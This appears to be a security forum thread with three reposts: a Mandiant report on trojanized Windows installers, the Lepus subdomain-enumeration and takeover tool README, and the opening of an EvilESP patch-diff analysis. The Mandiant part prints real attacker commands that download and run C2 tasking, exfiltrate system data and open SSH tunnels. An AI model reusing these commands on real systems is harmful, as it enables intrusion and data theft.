      • Executes: powershell.exe curl.exe -k https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid[.]onion.ws -H ('h:'+(wmic csproduct get UUID)) | powershell.exe

    Note: At the time of analysis, the onion[.]ws C2 server is redirecting requests to legitimate websites.

    Software Piracy Script

    The ISO contained an additional file not found in standard Windows distributions called SetupComplete.cmd. SetupComplete is a Windows batch script that is configured to be executed upon completion of the Windows installation but before the end user is able to use the device. The script appears to be an amalgamation of multiple public scripts including remove_MS_telemetry.cmd by DeltoidDelta and activate.cmd by Poudyalanil (originally wiredroid) with the addition of a command to disable OneDriveSetup which was not identified in either script.

    The script is responsible for disabling several legitimate Windows services and tasks, disabling Windows updates, blocking IP addresses and domains related to legitimate Microsoft services, disabling OneDrive and activating the Windows license.

    Forensic artifacts led Mandiant to identify three additional scripts that were historically on the image, we assess that over time the threat actor has made alterations to these files.

    • SetupComplete.cmd (MD5: 84B54D2D022D3DF9340708B992BF6669)
      • Batch script to disable legitimate services and activate Windows
      • File currently hosted on ISO
    • SetupComplete.cmd (MD5: 67C4B2C45D4C5FD71F6B86FA0C71BDD3)
      • Batch script to disable legitimate services and activate Windows
      • File recovered through forensic file carving
    • SetupComplete.cmd (MD5: 5AF96E2E31A021C3311DFDA200184A3B)
      • Batch script to disable legitimate services and activate Windows
      • File recovered through forensic file carving

    Victim Identification

    Mandiant assesses that the threat actor performs initial triage of compromised devices, likely to determine whether the victims were of interest. This triage takes place using the trojanized schedule tasks. In some cases, the threat actor may deploy additional capability for data theft or new persistence backdoors, likely for redundancy in the cases of SPAREPART or to enable additional tradecraft with BEACON and STOWAWAY.

    The threat actor likely uses the device’s UUID as a unique identifier to track victims. This unique identifier is transferred as a header in all HTTP requests both to download tasking and upload stolen data/responses.

    The threat actor’s playbook appears to follow a distinct pattern:

    • Execute a command
    • Optionally, filter or expand the results
    • Export the results to CSV using the Export-Csv command and write to the path sysinfo (%system32%\sysinfo)
    • Optionally, compress the data into sysinfo.zip (%system32%\sysinfo.zip)
    • Optionally, upload the data instantaneously to the C2 (in most cases this is a separate task that is executed at the next beacon).

    Mandiant identified the threat actor exfiltrate data containing system information data, directory listings including timestamps and device geo-location. A list of commands used can be found in the indicators section.

    Interestingly, we did uncover a command that didn’t fit the aforementioned pattern in at least one instance. This command was executed on at least one device where the threat actor had access for several weeks.

    • curl.exe -k https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe -H h:filefile-file-file-file-filefilefile –output temp.zip

    Although we were not able to discover evidence that temp.zip was executed or recover the file, we were able to identify the content of the file directly from the C2 during analysis. This command is likely an alternative mechanism for the threat actor to collect the system information for the current victim, although it’s unclear why they wouldn’t deploy the command directly..

    • chcp 65001; [console]::outputencoding = [system.text.encoding]::UTF8; Start-Process powershell -argument “Get-ComputerInfo | Export-Csv -path sysinfo -encoding UTF8” -wait -nonewwindow; curl.exe -H (‘h:’+(wmic csproduct get UUID)) –data-binary “@sysinfo” -k https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe; rm sysinfo

    The download command is notable as the threat actor uses a hardcoded UUID (filefile-file-file-file-filefilefile), which we assess is likely a default value. It’s unclear why the threat actor performed this additional request in favor of downloading the command itself; we believe this may be used as a default command by the threat actors.

    Follow On Tasking

    If UNC4166 determined a device likely contained intelligence of value, subsequent actions were take on these devices.  Based on our analysis, the subsequent tasking fall into three categories:

    • Deployment of tools to enable exfiltration of data (like TOR and Sheret)
    • Deployment of additional lightweight backdoors likely to provide redundant access to the target (like SPAREPART)
    • Deployment of additional backdoors to enable additional functionality (like BEACON and STOWAWAY)

    TOR Browser Downloaded

    In some instances, Mandiant identified that the threat actor attempted to download the TOR browser onto the victim’s device. This was originally attempted through downloading the file directly from the C2 via curl. However, the following day the actor also downloaded a second TOR installer directly from the official torprojects.org website.

    It’s unclear why the threat actor performed these actions as Mandiant was unable to identify any use of TOR on the victim device, although this would provide the actor a second route to communicate with infrastructure through TOR or may be used by additional capability as a route for exfiltration.

    We also discovered the TOR installer was also hosted on some of the backup infrastructure, which may indicate the C2 URLs resolve to the same device.

    • bundle.zip (MD5: 66da9976c96803996fc5465decf87630)
      • Legitimate TOR Installer bundle
      • Downloaded from https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe/bundle.zip
      • Downloaded from https:// 56nk4qmwxcdd72yiaro7bxixvgf5awgmmzpodub7phmfsqylezu2tsid.onion[.]moe/bundle.zip

    Use of Sheret HTTP Server and localhost[.]run

    In some instances, the threat actor deployed a publicly available HTTP server called Sheret to conduct data theft interactively on victim devices. The threat actor configured Sheret to server locally, then using SSH created a tunnel from the local device to the service localhost[.]run.

    In at least one instance, this web server was used for serving files on a removable drive connected to the victim device and Mandiant was able to confirm that multiple files were exfiltrated via this mechanism.

    The command used for SSH tunnelling was:

    • ssh -R 80:localhost:80 -i defaultssh localhost[.]run -o stricthostkeychecking=no >> sysinfo

    This command configures the local system to create a tunnel from the local device to the website localhost.run.

    • C:\Windows\System32\HTTPDService.exe (MD5: a0d668eec4aebaddece795addda5420d)

    Deployment of SPAREPART, Likely as a Redundant Backdoor

    We identified the creation of a service following initial recon that we believe was the deployment of a redundant backdoor we call SPAREPART. The service named “Microsoft Delivery Network” was created to execute %SYSTEM32%\MicrosoftDeliveryNetwork\MicrosoftDeliveryCenter with the arguments “56nk4qmwxcdd72yiaro7bxixvgf5awgmmzpodub7phmfsqylezu2tsid.onion[.]moe powershell.exe” via the Windows SC command.

    Functionally SPAREPART is identical to the PowerShell backdoors that were deployed via the schedule tasks in the original ISOs. SPAREPART is executed as a Windows Service DLL, which upon execution will receive the tasking and execute via piping the commands into the PowerShell process.

    SPAREPART will parse the raw SMIBOS firmware table via the Windows GetSystemFirmwareTable, this code is nearly identical to code published by Microsoft on Github. The code’s purpose is to obtain the UUID of the device, which is later formatted into the same header (h: <UUID) for use in communications with the C2 server.

    SPAREPART formatting of header Figure 4: SPAREPART formatting of header

    The payload parses the arguments provided on the command line. Interestingly there is an error in this parsing. If the threat actor provides a single argument to the payload, that argument is used as the URL and tasking can be downloaded. However, if the second command (in our instance powershell.exe) is missing, the payload will later attempt to create a process with an invalid argument which will mean that the payload is unable to execute commands provided by the threat actor.

    SPAREPART parsing threat actor input Figure 5: SPAREPART parsing threat actor input

    SPAREPART has a unique randomization for its sleep timer. This enables the threat actor to randomise beaconing timing. The randomisation is seeded of the base address of the image in memory, this value is then used to determine a value between 0 and 59. This value acts as the sleep timer in minutes. As the backdoor starts up, it’ll sleep for up to 59 minutes before reaching out to the C2. Any subsequent requests will be delayed for between 3 and 4 hours.

    If after 10 sleeps the payload has received no tasking (30-40 hours of delays), the payload will terminate until the service is next executed.

    SPAREPART randomizing the time for next beacon Figure 6: SPAREPART randomizing the time for next beacon

    After the required sleep timer has been fulfilled, the payload will attempt to download a command using the provided URL. The payload attempts to download tasking using the WinHttp set of APIs and the hard coded user agent “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0”. The payload attempts to perform a GET request using the previously formatted headers, providing the response is a valid status (200), the data will be read and written to a previously created pipe.

    SPAREPART downloading payload Figure 7: SPAREPART downloading payload

    If a valid response is obtained from the C2 server, the payload will create a new process using the second argument (powershell.exe) and pipe the downloaded commands as the standard input. The payload makes no attempt to return the response to the actor, similarly to the PowerShell backdoor.

    SPAREPART executing a command Figure 8: SPAREPART executing a command

    Although we witnessed the installation of this backdoor, the threat actor reverted to the PowerShell backdoor for tasking a couple of hours later. Due to the similarities in the payloads and the fact the threat actor reverted to the PowerShell backdoor, we believe that SPAREPART is a redundant backdoor likely to be used if the threat actor loses access to the original schedule tasks.

    • MicrosoftDeliveryCenter (MD5: f9cd5b145e372553dded92628db038d8)
      • SPAREPART backdoor
      • Compiled on: 2022/11/28 02:32:33
      • PDB path: C:\Users\user\Desktop\ImageAgent\ImageAgent\PreAgent\src\builder\agent.pdb

    Deployment of Additional Backdoors

    In addition to the deployment of SPAREPART, the threat actor also deployed additional backdoors on some limited devices. In early September, UNC4166 deployed the payload AzureSettingSync.dll and configured its execution via a schedule task named AzureSync on at least one device. The schedule task was configured to execute AzureSync via rundll32.exe.

    AzureSettingSync is a BEACON payload configured to communicate with cdnworld.org, which was registered on the June 24, 2022 with an SSL certificate from Let’s Encrypt dated the 26th of August 2022.

    • C:\Windows\System32\AzureSettingSync.dll (MD5: 59a3129b73ba4756582ab67939a2fe3c)
      • BEACON backdoor
      • Original name: tr2fe.dll
      • Compiled on: 1970/01/01 00:00:00
      • Dropped by 529388109f4d69ce5314423242947c31 (BEACON)
      • Connects to https://cdnworld[.]org/34192–general-feedback/suggestions/35703616-cdn–
      • Connects to https://cdnworld[.]org/34702–general/sync/42823419-cdn

    Due to remediation on some compromised devices, we believe that the BEACON instances were quarantined on the devices. Following this, we identified the threat actor had deployed a STOWAWAY backdoor on the victim device.

    • C:\Windows\System32\splwow86.exe (MD5: 0f06afbb4a2a389e82de6214590b312b)
      • STOWAWAY backdoor
      • Compiled on: 1970/01/01 00:00:00
      • Connects to 193.142.30.166:443
    • %LOCALAPPDATA%\\SODUsvc.exe (MD5: a8e7d8ec0f450037441ee43f593ffc7c)
      • STOWAWAY backdoor
      • Compiled on: 1970/01/01 00:00:00
      • Connects to 91.205.230.66:8443

    Indicators

    Scheduled Tasks

    • C:\Windows\System32\Tasks\MicrosoftWindowsNotificationCenter (MD5: 16b21091e5c541d3a92fb697e4512c6d)
      • Schedule task configured to execute Powershell.exe with the command line curl.exe -k https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe -H ('h:'+(wmic csproduct get UUID)) | powershell

    Trojanized Scheduled Tasks

    • C:\Windows\System32\Tasks\Microsoft\Windows\NetTrace\GatherNetworkInfo (MD5: 1433dd88edfc9e4b25df370c0d8612cf)
    • C:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\Consolidator (MD5: ed7ab9c74aad08b938b320765b5c380d)

    BEACON Backdoor

    • C:\Windows\System32\AzureSettingSync.dll (MD5: 59a3129b73ba4756582ab67939a2fe3c)

    Scheduled Tasks for Persistence

    • C:\Windows\System32\Tasks\Microsoft\Windows\Maintenance\AzureSync
    • C:\Windows\System32\Tasks\Microsoft\Windows\Maintenance\AzureSyncDaily

    STOWAWAY Backdoor

    • C:\Windows\System32\splwow86.exe (MD5: 0f06afbb4a2a389e82de6214590b312b)
    • %LOCALAPPDATA%\SODUsvc.exe (MD5: a8e7d8ec0f450037441ee43f593ffc7c)

    Services for Persistence

    • Printer driver host for applications
    • SODUsvc

    On Host Recon Commands

    • Get-ChildItem -Recurse -Force -Path ((C:)+’') | Select-Object -Property Psdrive, FullName, Length, Creationtime, lastaccesstime, lastwritetime | Export-Csv -Path sysinfo -encoding UTF8; Compress-Archive -Path sysinfo -DestinationPath sysinfo.zip -Force;
    • Get-ComputerInfo | Export-Csv -path sysinfo -encoding UTF8
    • invoke-restmethod http://ip-api[.]com/json | Export-Csv -path sysinfo -encoding UTF8
    • Get-Volume | Where-Object {.DriveLetter -and .DriveLetter -ne ‘C’ -and .DriveType -eq ‘Fixed’} | ForEach-Object {Get-ChildItem -Recurse -Directory (.DriveLetter+‘:’) | Select-Object -Property Psdrive, FullName, Length, Creationtime, lastaccesstime, lastwritetime | Export-Csv -Path sysinfo -encoding UTF8; Compress-Archive -Path sysinfo -DestinationPath sysinfo -Force; curl.exe -H (’h:’+(wmic csproduct get UUID)) –data-binary ‘@sysinfo.zip’ -k https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe
    • chcp 65001; [console]::outputencoding = [system.text.encoding]::UTF8; Start-Process powershell -argument “Get-ComputerInfo | Export-Csv -path sysinfo -encoding UTF8” -wait -nonewwindow; curl.exe -H (‘h:’+(wmic csproduct get UUID)) –data-binary “@sysinfo” -k https://ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid.onion[.]moe; rm sysinfo

    Trojanized Windows Image Network Indicators

    Indicators of Compromise

    Signature

    56nk4qmwxcdd72yiaro7bxixvgf5awgmmzpodub7phmfsqylezu2tsid[.]onion[.]moe

     

    Malicious Windows Image Tor C2

    ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid[.]onion[.]moe

     

     

    Malicious Windows Image Tor C2

    ufowdauczwpa4enmzj2yyf7m4cbsjcaxxoyeebc2wdgzwnhvwhjf7iid[.]onion[.]ws

     

    Malicious Windows Image Tor C2

    BEACON C2s

    • https://cdnworld[.]org/34192–general-feedback/suggestions/35703616-cdn–
    • https://cdnworld[.]org/34702–general/sync/42823419-cdn

    STOWAWAY C2s

    • 193.142.30[.]166:443          
    • 91.205.230[.]66:8443

    Appendix

    MITRE ATT&CK Framework

    ATT&CK Tactic Category 

    Techniques 

    Initial Access

     

    T1195.002:

    Compromise Software Supply Chain 

    Persistence

     

    T1136:

    Create Account 

     

    T1543.003:

    Windows Service 

    Discovery

     

    T1049:

    System Network Connections Discovery 

    Execution

     

    T1047:  

    Windows Management Instrumentation 

     

    T1059:  

    Command and Scripting Interpreter 

     

    T1059.001:

    PowerShell 

     

    T1059.005:

    Visual Basic 

     

    T1569.002: 

    Service Execution 

    Defense Evasion

     

    T1027:

    Obfuscated Files or Information 

     

    T1055:

    Process Injection 

     

    T1140:

    Deobfuscate/Decode Files or Information 

     

    T1218.011:

    Rundll32 

     

    T1562.004:

    Disable or Modify System Firewall 

     

    T1574.011:

    Services Registry Permissions Weakness 

    Command and Control

     

    T1071.004:

    DNS 

     

    T1090.003:

    Multi-hop Proxy 

     

    T1095:

    Non-Application Layer Protocol 

     

    T1573.002:

    Asymmetric Cryptography 

    Resource Development

     

    T1587.002:

    Code Signing Certificates 

     

    T1588.004:

    Digital Certificates 

     

    T1608.003: 

    Install Digital Certificate 

    Detection Rules

    rule M_Backdoor_SPAREPART_SleepGenerator
    {
        meta:
            author = "Mandiant"
            date_created = "2022-12-14"
            description = "Detects the algorithm used to determine the next sleep timer"
            version = "1"
            weight = "100"
            hash = "f9cd5b145e372553dded92628db038d8"
            disclaimer = "This rule is meant for hunting and is not tested to run in a production environment."

        strings:
            $ = {C1 E8 06 89 [5] C1 E8 02 8B}
            $ = {c1 e9 03 33 c1 [3] c1 e9 05 33 c1 83 e0 01}
            $ = {8B 80 FC 00 00 00}
            $ = {D1 E8 [4] c1 E1 0f 0b c1}
        condition:
            all of them
    }

     rule M_Backdoor_SPAREPART_Struct

    {

        meta:

            author = "Mandiant"

            date_created = "2022-12-14"

            description = "Detects the PDB and a struct used in SPAREPART"

            hash = "f9cd5b145e372553dded92628db038d8"

            disclaimer = "This rule is meant for hunting and is not tested to run in a production environment."

     

        strings:

            $pdb = "c:\\Users\\user\\Desktop\\ImageAgent\\ImageAgent\\PreAgent\\src\\builder\\agent.pdb" ascii nocase

            $struct = { 44 89 ac ?? ?? ?? ?? ?? 4? 8b ac ?? ?? ?? ?? ?? 4? 83 c5 28 89 84 ?? ?? ?? ?? ?? 89 8c ?? ?? ?? ?? ?? 89 54 ?? ?? 44 89 44 ?? ?? 44 89 4c ?? ?? 44 89 54 ?? ?? 44 89 5c ?? ?? 89 5c ?? ?? 89 7c ?? ?? 89 74 ?? ?? 89 6c ?? ?? 44 89 74 ?? ?? 44 89 7c ?? ?? 44 89 64 ?? ?? 8b 84 ?? ?? ?? ?? ?? 44 8b c8 8b 84 ?? ?? ?? ?? ?? 44 8b c0 4? 8d 15 ?? ?? ?? ?? 4? 8b cd ff 15 ?? ?? ?? ??  }

        condition:

           (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and

           $pdb and

           $struct and

           filesize < 20KB

     

    Sursa: https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government

    • Thanks 1
    • Upvote 1
  11. Lepus

    Lepus is a tool for enumerating subdomains, checking for subdomain takeovers and perform port scans - and boy, is it fast!

    Basic Usage

    lepus.py yahoo.com
    

    Summary

    Enumeration modes

    The enumeration modes are different ways lepus uses to identify sudomains for a given domain. These modes are:

    Moreover:

    • For all methods, lepus checks if the given domain or any generated potential subdomain is a wildcard domain or not.
    • After identification, lepus collects ASN and network information for the identified domains that resolve to public IP Addresses.

    Collectors

    The Collectors mode collects subdomains from the following services:

    Service API Required
    AlienVault OTX No
    Anubis-DB No
    Bevigil Yes
    BinaryEdge Yes
    BufferOver Yes
    C99 Yes
    Censys Yes
    CertSpotter No
    CommonCrawl No
    CRT No
    DNSDumpster No
    DNSRepo Yes
    DNSTrails Yes
    Farsight DNSDB Yes
    FOFA Yes
    Fullhunt Yes
    HackerTarget No
    HunterIO Yes
    IntelX Yes
    LeakIX Yes
    Maltiverse No
    Netlas Yes
    PassiveTotal Yes
    Project Discovery Chaos Yes
    RapidDNS No
    ReconCloud No
    Riddler Yes
    Robtex Yes
    SecurityTrails Yes
    Shodan Yes
    SiteDossier No
    ThreatBook Yes
    ThreatCrowd No
    ThreatMiner No
    URLScan Yes
    VirusTotal Yes
    Wayback Machine No
    Webscout No
    WhoisXMLAPI Yes
    ZoomEye Yes

    You can add your API keys in the config.ini file.

    The Collectors module will run by default on lepus. If you do not want to use the collectors during a lepus run (so that you don't exhaust your API key limits), you can use the -nc or --no-collectors argument.

    Dictionary

    The dictionary mode can be used when you want to provide lepus a list of subdomains. You can use the -w or --wordlist argument followed by the file. A custom list comes with lepus located at lists/subdomains.txt. An example run would be:

    lepus.py -w lists/subdomains.txt yahoo.com
    

    Permutations

    The Permutations mode performs changes on the list of subdomains that have been identified. For each subdomain, a number of permutations will take place based on the lists/words.txt file. You can also provide a custom wordlist for permutations with the -pw or --permutation-wordlist argument, followed by the file name.An example run would be:

    lepus.py --permutate yahoo.com
    

    or

    lepus.py --permutate -pw customsubdomains.txt yahoo.com
    

    ReverseDNS

    The ReverseDNS mode will gather all IP addresses that were resolved and perform a reverse DNS on each one in order to detect more subdomains. For example, if www.example.com resolves to 1.2.3.4, lepus will perform a reverse DNS for 1.2.3.4 and gather any other subdomains belonging to example.com, e.g. www2,internal or oldsite.

    To run the ReverseDNS module use the --reverse argument. Additionally, --ripe (or -ripe) can be used in order to instruct the module to query the RIPE database using the second level domain for potential network ranges. Moreover, lepus supports the --ranges (or -r) argument. You can use it to make reverse DNS resolutions against CIDRs that belong to the target domain.

    By default this module will take into account all previously identified IPs, then defined ranges, then ranges identified through the RIPE database. In case you only want to run the module against specific or RIPE identified ranges, and not against all already identified IPs, you can use the --only-ranges (-or) argument.

    An example run would be:

    lepus.py --reverse yahoo.com
    

    or

    lepus.py --reverse -ripe -r 172.216.0.0/16,183.177.80.0/23 yahoo.com
    

    or only against the defined or identified from RIPE

    lepus.py --reverse -or -ripe -r 172.216.0.0/16,183.177.80.0/23 yahoo.com
    

    Hint: lepus will identify ASNs and Networks during enumeration, so you can also use these ranges to identify more subdomains with a subsequent run.

    Markov

    With this module, Lepus will utilize Markov chains in order to train itself and then generate subdomain based on the already known ones. The bigger the general surface, the better the tool will be able to train itself and subsequently, the better the results will be.

    The module can be activated with the --markovify argument. Parameters also include the Markov state size, the maximum length of the generated candidate addition, and the quantity of generated candidates. Predefined values are 3, 5 and 5 respectively. Those arguments can be changed with -ms (--markov-state), -ml (--markov-length) and -mq (--markov-quantity) to meet your needs. Keep in mind that the larger these values are, the more time Lepus will need to generate the candidates.

    It has to be noted that different executions of this module might generate different candidates, so feel free to run it a few times consecutively. Keep in mind that the higher the -ms, -ml and -mq values, the more time will be needed for candidate generation.

    lepus.py --markovify yahoo.com
    

    or

    lepus.py --markovify -ms 5 -ml 10 -mq 10
    

    Subdomain Takeover

    Lepus has a list of signatures in order to identify if a domain can be taken over. You can use it by providing the --takeover argument. This module also supports Slack notifications, once a potential takeover has been identified, by adding a Slack token in the config.ini file. The checks are made against the following services:

    • Acquia
    • Activecampaign
    • Aftership
    • Aha!
    • Airee
    • Amazon AWS/S3
    • Apigee
    • Azure
    • Bigcartel
    • Bitbucket
    • Brightcove
    • Campaign Monitor
    • Cargo Collective
    • Desk
    • Feedpress
    • Fly.io
    • Getresponse
    • Ghost.io
    • Github
    • Hatena
    • Helpjuice
    • Helpscout
    • Heroku
    • Instapage
    • Intercom
    • JetBrains
    • Kajabi
    • Kayako
    • Launchrock
    • Mashery
    • Maxcdn
    • Moosend
    • Ning
    • Pantheon
    • Pingdom
    • Readme.io
    • Simplebooklet
    • Smugmug
    • Statuspage
    • Strikingly
    • Surge.sh
    • Surveygizmo
    • Tave
    • Teamwork
    • Thinkific
    • Tictail
    • Tilda
    • Tumblr
    • Uptime Robot
    • UserVoice
    • Vend
    • Webflow
    • Wishpond
    • Wordpress
    • Zendesk

    Port Scan

    The port scan module will check open ports against a target and log them in the results. You can use the --portscan argument which by default will scan ports 80, 443, 8000, 8080, 8443. You can also use custom ports or choose a predefined set of ports.

    Ports set Ports
    small 80, 443
    medium (default) 80, 443, 8000, 8080, 8443
    large 80, 81, 443, 591, 2082, 2087, 2095, 2096, 3000, 8000, 8001, 8008, 8080, 8083, 8443, 8834, 8888, 9000, 9090, 9443
    huge 80, 81, 300, 443, 591, 593, 832, 981, 1010, 1311, 2082, 2087, 2095, 2096, 2480, 3000, 3128, 3333, 4243, 4567, 4711, 4712, 4993, 5000, 5104, 5108, 5800, 6543, 7000, 7396, 7474, 8000, 8001, 8008, 8014, 8042, 8069, 8080, 8081, 8088, 8090, 8091, 8118, 8123, 8172, 8222, 8243, 8280, 8281, 8333, 8443, 8500, 8834, 8880, 8888, 8983, 9000, 9043, 9060, 9080, 9090, 9091, 9200, 9443, 9800, 9943, 9980, 9981, 12443, 16080, 18091, 18092, 20720, 28017

    An example run would be:

    lepus.py --portscan yahoo.com
    

    or

    lepus.py --portscan -p huge yahoo.com
    

    or

    lepus.py --portscan -p 80,443,8082,65123 yahoo.com
    

    Installation

    1. Normal installation:

      $ python3.7 -m pip install -r requirements.txt
      
    2. Preferably install in a virtualenv:

      $ pyenv virtualenv 3.7.4 lepus
      $ pyenv activate lepus
      $ pip install -r requirements.txt
      
    3. Installing latest python on debian:

      $ apt install build-essential zlib1g-dev libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev wget
      $ curl -O https://www.python.org/ftp/python/3.7.4/Python-3.7.4.tar.xz
      $ tar -xf Python-3.7.4.tar.xz
      $ cd Python-3.7.4
      $ ./configure --enable-optimizations --enable-loadable-sqlite-extensions
      $ make
      $ make altinstall
      

    Arguments

    usage: lepus.py [-h] [-w WORDLIST] [-hw] [-t THREADS] [-nc] [-zt]
                    [--permutate] [-pw PERMUTATION_WORDLIST] [--reverse]
                    [-r RANGES] [--portscan] [-p PORTS] [--takeover] [--markovify]
                    [-ms MARKOV_STATE] [-ml MARKOV_LENGTH] [-mq MARKOV_QUANTITY]
                    [-f] [-v]
                    domain
    
    Infrastructure OSINT
    
    positional arguments:
      domain                domain to search
    
    optional arguments:
      -h, --help            show this help message and exit
      -w WORDLIST, --wordlist WORDLIST
                            wordlist with subdomains
      -hw, --hide-wildcards
                            hide wildcard resolutions
      -t THREADS, --threads THREADS
                            number of threads [default is 100]
      -nc, --no-collectors  skip passive subdomain enumeration
      -zt, --zone-transfer  attempt to zone transfer from identified name servers
      --permutate           perform permutations on resolved domains
      -pw PERMUTATION_WORDLIST, --permutation-wordlist PERMUTATION_WORDLIST
                            wordlist to perform permutations with [default is
                            lists/words.txt]
      --reverse             perform reverse dns lookups on resolved public IP
                            addresses
      -ripe, --ripe         query ripe database with the 2nd level domain 
                            for networks to be used for reverse lookups
      -r RANGES, --ranges RANGES
                            comma seperated ip ranges to perform reverse dns
                            lookups on
      -or, --only-ranges    use only ranges provided with -r or -ripe and not all
                            previously identifed IPs
      --portscan            scan resolved public IP addresses for open ports
      -p PORTS, --ports PORTS
                            set of ports to be used by the portscan module
                            [default is medium]
      --takeover            check identified hosts for potential subdomain take-
                            overs
      --markovify           use markov chains to identify more subdomains
      -ms MARKOV_STATE, --markov-state MARKOV_STATE
                            markov state size [default is 3]
      -ml MARKOV_LENGTH, --markov-length MARKOV_LENGTH
                            max length of markov substitutions [default is 5]
      -mq MARKOV_QUANTITY, --markov-quantity MARKOV_QUANTITY
                            max quantity of markov results per candidate length
                            [default is 5]
      -f, --flush           purge all records of the specified domain from the
                            database
      -v, --version         show program's version number and exit
    

    Full command example

    The following, is an example run with all available active arguments:

    ./lepus.py python.org --wordlist lists/subdomains.txt --permutate -pw ~/mypermsword.lst --reverse -ripe -r 10.11.12.0/24 --portscan -p huge --takeover --markovify -ms 3 -ml 10 -mq 10
    

    The following command flushes all database entries for a specific domain:

    ./lepus.py python.org --flush

     

    Sursa: https://github.com/GKNSB/Lepus

    • Thanks 1
    • Upvote 1
  12. Dissecting and Exploiting TCP/IP RCE Vulnerability “EvilESP”

     
    Software Vulnerabilities January 20, 2023
     
    By Valentina Palmiotti  10 min read
     

    September’s Patch Tuesday unveiled a critical remote vulnerability in tcpip.sys, CVE-2022-34718. The advisory from Microsoft reads: “An unauthenticated attacker could send a specially crafted IPv6 packet to a Windows node where IPsec is enabled, which could enable a remote code execution exploitation on that machine.”

    Pure remote vulnerabilities usually yield a lot of interest, but even over a month after the patch, no additional information outside of Microsoft’s advisory had been publicly published. From my side, it had been a long time since I attempted to do a binary patch diff analysis, so I thought this would be a good bug to do root cause analysis and craft a proof-of-concept (PoC) for a blog post.

    On October 21 of last year, I posted an exploit demo and root cause analysis of the bug. Shortly thereafter a blog post and PoC was published by Numen Cyber Labs on the vulnerability, using a different exploitation method than I used in my demo.

    In this blog — my follow-up article to my exploit video — I include an in-depth explanation of the reverse engineering of the bug and correct some inaccuracies I found in the Numen Cyber Labs blog.

    In the following sections, I cover reverse engineering the patch for CVE-2022-34718, the affected protocols, identifying the bug, and reproducing it. I’ll outline setting up a test environment and write an exploit to trigger the bug and cause a Denial of Service (DoS). Finally, I’ll look at exploit primitives and outline the next steps to turn the primitives into remote code execution (RCE).

    Patch Diffing

    Microsoft’s advisory does not contain any specific details of the vulnerability except that it is contained in the TCP/IP driver and requires IPsec to be enabled. In order to identify the specific cause of the vulnerability, we’ll compare the patched binary to the pre-patch binary and try to extract the “diff”(erence) using a tool called BinDiff.

    EvilESP_1.png

    I used Winbindex to obtain two versions of tcpip.sys: one right before the patch and one right after, both for the same version of Windows. Getting sequential versions of the binaries is important, as even using versions a few updates apart can introduce noise from differences that are not related to the patch, and cause you to waste time while doing your analysis. Winbindex has made patch analysis easier than ever, as you can obtain any Windows binary beginning from Windows 10. I loaded both of the files in Ghidra, applied the Program Database (pdb) files, and ran auto analysis (checking aggressive instruction finder works best). Afterward, the files can be exported into a BinExport format using the extension BinExport for Ghidra. The files can then be loaded into BinDiff to create a diff and start analyzing their differences:

    EvilESP_2.png

    BinDiff summary comparing the pre- and post-patch binaries

    BinDiff works by matching functions in the binaries being compared using various algorithms. In this case there, we have applied function symbol information from Microsoft, so all the functions can be matched by name.

    EvilESP_3.png

    List of matched functions sorted by similarity

    Above we see there are only two functions that have a similarity less than 100%. The two functions that were changed by the patch are IppReceiveEsp and Ipv6pReassembleDatagram.

    Vulnerability Root Cause Analysis

    Previous research shows the Ipv6pReassembleDatagram function handles reassembling Ipv6 fragmented packets.

    The function name IppReceiveEsp seems to indicate this function handles the receiving of IPsec ESP packets.

    Before diving into the patch, I’ll briefly cover Ipv6 fragmentation and IPsec. Having a general understanding of these packet structures will help when attempting to reverse engineer the patch.

    IPv6 Fragmentation:

    An IPv6 packet can be divided into fragments with each fragment sent as a separate packet. Once all of the fragments reach the destination, the receiver reassembles them to form the original packet.

    The diagram below illustrates the fragmentation:

    EvilESP_4.png

    Illustration of Ipv6 fragmentation

    According to the RFC, fragmentation is implemented via an Extension Header called the Fragment header, which has the following format:

    EvilESP_5.png

    Ipv6 Fragment Header format

    Where the Next Header field is the type of header present in the fragmented data.

    IPsec (ESP):

    IPsec is a group of protocols that are used together to set up encrypted connections. It’s often used to set up Virtual Private Networks (VPNs). From the first part of patch analysis, we know the bug is related to the processing of ESP packets, so we’ll focus on the Encapsulating Security Payload (ESP) protocol.

    As the name suggests, the ESP protocol encrypts (encapsulates) the contents of a packet. There are two modes: in tunnel mode, a copy of IP header is contained in the encrypted payload, and in transport mode where only the transport layer portion of the packet is encrypted. Like IPv6 fragmentation, ESP is implemented as an extension header. According to the RFC, an ESP packet is formatted as follows:

    EvilESP_6.png

    Top Level Format of an ESP Packet

    Where Security Parameters Index (SPI) and Sequence Number fields comprise the ESP extension header, and the fields between and including Payload Data and Next Header are encrypted. The Next Header field describes the header contained in Payload Data.

    Now with a primer of Ipv6 Fragmentation and IPsec ESP, we can continue the patch diff analysis by analyzing the two functions we found were patched.

    Ipv6pReassembleDatagram

    Comparing the side by side of the function graphs, we can see that a single new code block has been introduced into the patched function:

    EvilESP_7.png

    Side-by-side comparison of the pre- and post-patch function graphs of Ipv6ReassembleDatagram

    Let’s take a closer look at the block:

    EvilESP_8.png

    New code block in the patched function

    The new code block is doing a comparison of two unsigned integers (in registers EAX and EDX) and jumping to a block if one value is less than the other. Let’s take a look at that destination block:

    EvilESP_9.png

    The target code has an unconditional call to the function IppDeleteFromReassemblySet. Taking a guess from the name of this function, this block seems to be for error handling. We can intuit that the new code that was added is some sort of bounds check, and there has been a “goto error” line inserted into the code, if the check fails.

    With this bit of insight, we can perform static analysis in a decompiler.

